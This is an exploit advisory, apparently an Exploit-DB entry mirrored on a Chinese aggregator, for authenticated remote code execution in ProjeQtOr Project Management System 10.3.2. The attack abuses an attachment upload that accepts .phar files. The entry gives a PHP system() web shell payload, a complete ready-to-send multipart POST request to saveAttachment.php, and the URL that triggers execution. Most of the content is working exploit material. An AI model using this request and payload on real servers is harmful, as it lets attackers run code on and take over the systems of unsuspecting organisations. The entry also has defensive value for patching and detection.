ProjeQtOr Project Management System 10.3.2 – Remote Code Execution (RCE)

• Exploit Database
• 17 阅读

• 作者： Mirabbas Ağalarov
  日期： 2023-04-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51387/

• Exploit Title: ProjeQtOr Project Management System 10.3.2 -Remote Code Execution (RCE)
  Application: ProjeQtOr Project Management System
  Version: 10.3.2
  Bugs:Remote Code Execution (RCE) (Authenticated) via file upload
  Technology: PHP
  Vendor URL: https://www.projeqtor.org
  Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.3.2.zip/download
  Date of found: 19.04.2023
  Author: Mirabbas Ağalarov
  Tested on: Linux 
  
  
  2. Technical Details & POC
  ========================================
  Possible including php file with phar extension while uploading image. Rce is triggered when we visit again
  
  Payload:<?php echo system("id"); ?>
  
  poc request:
  
  
  POST /projeqtor/tool/saveAttachment.php?csrfToken= HTTP/1.1
  Host: localhost
  Content-Length: 1177
  sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
  Accept: application/json
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY0bpJaQzcvQberWR
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
  sec-ch-ua-platform: "Linux"
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/projeqtor/view/main.php
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: currency=USD; PHPSESSID=2mmnca4p7m93q1nmbg6alskiic
  Connection: close
  
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentFiles[]"; filename="miri.phar"
  Content-Type: application/octet-stream
  
  <?php echo system("id"); ?>
  
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentId"
  
  
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentRefType"
  
  User
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentRefId"
  
  1
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentType"
  
  file
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="MAX_FILE_SIZE"
  
  10485760
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentLink"
  
  
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentDescription"
  
  
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="attachmentPrivacy"
  
  1
  ------WebKitFormBoundaryY0bpJaQzcvQberWR
  Content-Disposition: form-data; name="uploadType"
  
  html5
  ------WebKitFormBoundaryY0bpJaQzcvQberWR--
  
  
  
  
  visit: http://localhost/projeqtor/files/attach/attachment_5/miri.phar